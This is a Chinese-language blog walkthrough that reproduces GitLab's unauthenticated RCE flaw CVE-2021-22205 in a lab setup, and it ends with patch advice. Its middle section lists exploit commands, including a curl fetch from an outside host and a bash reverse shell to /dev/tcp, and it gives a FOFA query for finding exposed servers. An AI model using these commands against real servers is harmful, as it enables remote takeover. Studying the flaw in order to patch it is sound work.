Gitlab无需认证RCE漏洞复现(CVE-2021-22205)
Posted 星球守护者
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Gitlab无需认证RCE漏洞复现(CVE-2021-22205)相关的知识,希望对你有一定的参考价值。
文章目录
gitlab介绍
- GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。
- GitLab 是一个用于仓库管理系统的开源项目,使用 Git 作为代码管理工具,并在此基础上搭建起来的 Web服务。
漏洞介绍
- 由于 GitLab 没有正确验证传递给文件解析器的图像文件,攻击者可利用该漏洞在服务端进行远程命令执行。
- 由于GitLab存在未授权的端点,导致该漏洞在无需进行身份验证的情况下即可进行利用,社区版(CE)和企业版(EE)皆受影响。
- 4月15日,GitLab官方发布安全更新修复了此GitLab命令执行漏洞(CVE-2021-22205),由于GitLab中的ExifTool没有对传入的图像文件的扩展名进行正确处理,攻击者通过上传特制的恶意图片,可以在目标服务器上执行任意命令。
漏洞编号
- CVE-2021-22205
漏洞等级
该漏洞CVSS评分:9.9
危害等级:严重
影响版本
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3
FOFA 查询
app="GitLab"
环境搭建(vulhub环境搭建)
漏洞复现
https://github.com/Al1ex/CVE-2021-22205
第一步 漏洞检测
python CVE-2021-22205.py -v true -t http://192.168.253.134:8080
第二步 dnslog解析
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "ping "
第三步 服务器写入文件
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.sh"
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "test > /tmp/1.txt"
第三步 反弹shell
python CVE-2021-22205.py -a true -t http://192.168.253.134:8080/ -c "echo 'bash -i >& /dev/tcp/192.168.253.128/4444 0>&1' > /tmp/1.sh
python CVE-2021-22205.py -a true -t http://192.168.253.134:8080/ -c "chmod +x /tmp/1.sh"
python3 CVE-2021-2205.py -a true -t http://192.168.253.134:8080/ -c "/bin/bahs /tmp/1.sh"
修复建议
- 官方升级
目前官方已发布新版本修复了该漏洞,请受影响的用户尽快升级至最新版本进行防护,
官方下载链接:https://about.gitlab.com/update/
- 临时防护措施
若相关用户暂时无法进行升级操作,可使用白名单限制对Web端口的访问。
免责声明
本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责
摘抄
为世界进文明,为人类造幸福,
以青春之我,创建青春之家庭,青春之国家,
青春之民族,青春之人类,青春之地球,
青春之宇宙,资以乐其无涯之生。
– 李大钊 《觉醒年代》
以上是关于Gitlab无需认证RCE漏洞复现(CVE-2021-22205)的主要内容,如果未能解决你的问题,请参考以下文章
Bonitasoft认证绕过和RCE漏洞分析及复现(CVE-2022-25237)
永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)